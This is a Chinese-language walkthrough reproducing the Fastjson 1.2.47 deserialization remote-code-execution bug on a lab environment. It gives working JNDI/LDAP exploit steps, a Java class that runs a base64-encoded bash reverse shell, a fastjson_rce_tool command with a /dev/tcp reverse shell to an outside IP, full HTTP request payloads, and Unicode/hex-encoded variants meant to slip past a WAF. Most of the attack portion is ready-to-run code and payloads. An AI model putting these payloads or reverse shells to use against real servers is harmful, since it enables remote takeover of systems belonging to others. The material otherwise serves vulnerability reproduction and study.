介绍
Fastjson 是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的 Java 项目中。fastjson 于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
注意
关于 jndi 注入的利用方式我在这里简单提一下,因为 jndi 注入的利用受jdk版本影响较大,所以在利用的时候还是要多尝试的。
- 基于 rmi 的利用方式
适用 jdk 版本:JDK 6u132, JDK 7u122, JDK 8u113之前。 - 基于 ldap 的利用方式
适用 jdk 版本:JDK 11.0.1、8u191、7u201、6u211之前。 - 基于 BeanFactory 的利用方式
适用 jdk 版本:JDK 11.0.1、8u191、7u201、6u211以后。
利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在 tomcat 的 jar 包里面,一般情况下只能在 tomcat 上可以利用成功。
搭建漏洞环境
用 vulnhub 可以一键搭建漏洞环境
sudo docker-compose up -d
访问 8090 端口看到以下画面就是搭建成功
复现
一、 marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java
- 配置RMi环境
- 需要借助marshalsec项目,启动一个RMI服务器,监听53端口,并加载远程类(需要java 8环境)。
https://github.com/mbechler/marshalsec
安装 maven
yum install -y maven
切换到 marshalsec 目录下使用 maven 进行打包,
mvn clean package -DskipTests。
- 下载 EXP
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
或者也可以选择自己编写
public class exec{
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvXLEE23UwLjY4Lzk5OTUgMD4mMQ==}|{base64,-d}|{bash,-i}").waitFor();
}
}
- 编写exp.java
javac Exploit.java
生成 class 文件,在网上看说要最好 java 和服务器的版本要尽可能一样,否则可能服务器会无法执行 exp
-
开启 LDAP 和 WEB 服务
LDAP:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit 9987
python web:
python3 -m http.server 8000
或者python -m SimpleHTTPServer 8000
-
监听流量
nc -lvnp 8888
-
抓包重放
如果没有问题,ldap 会转发到 web 服务器,也会弹个 nc 回来
POST / HTTP/1.1
Host: 192.168.33.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 189
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:9988/Exploit","autoCommit":true}}
二、fastjson_rce_tool
这个就简单很多了,直接用 LDAP 转发,或者用 RMI 都可以。
- 执行命令
java -cp fastjson_tool.jar fastjson.HLDAPServer VPS地址 8888 "bash=/bin/bash -i >& /dev/tcp/118.193.33.101/4445 0>&1"
;如果要反弹shell,同时 nc 监听端口 4445。他会给两个payload
- 同方法一一样,重发 payload 包
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:8888/Object","autoCommit":true}}
- 与此同时,VPS 就会弹一个 shell 回来
三、WAF 初绕过
- JSONLexerBase.scanSymbol
这个函数是 fastjson 用来处理 json 字符串的函数,在 fastjson 在进行 json 字符的处理时,如果扫描到 '/' (代码里是//是因为 java 自身的特殊字符编码),fastjson 会认为字符经过了编码,所以会进行解码操作。
也就是说当输入的字符是形如 u 或者 x 的情况下 fastjson 是会对其进行解码操作的(即 fastjson 支持字符串的Unicode
编码和十六进制
编码)
这里用最初的POC,肯定是成功的,
{"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:8888/Object","autoCommit":true}}
- 编码
我们现在编码一下,是可以成功执行的,但是这里只能绕过简单的 WAF 和 WEB 黑名单
{"f":{"u0040u0074u0079u0070u0065":"x63x6fx6dx2ex73x75x6ex2ex72x6fx77x73x65x74x2ex4ax64x62x63x52x6fx77x53x65x74x49x6dx70x6c","u0064u0061u0074u0061u0053u006fu0075u0072u0063u0065u004eu0061u006du0065":"ldap://192.168.33.134:8888/Object","x61x75x74x6fx43x6fx6dx6dx69x74":true}}
四、利用技巧
- 结合 burp 被动扫描
这里我直接贴 github 地址好了,大佬们比我强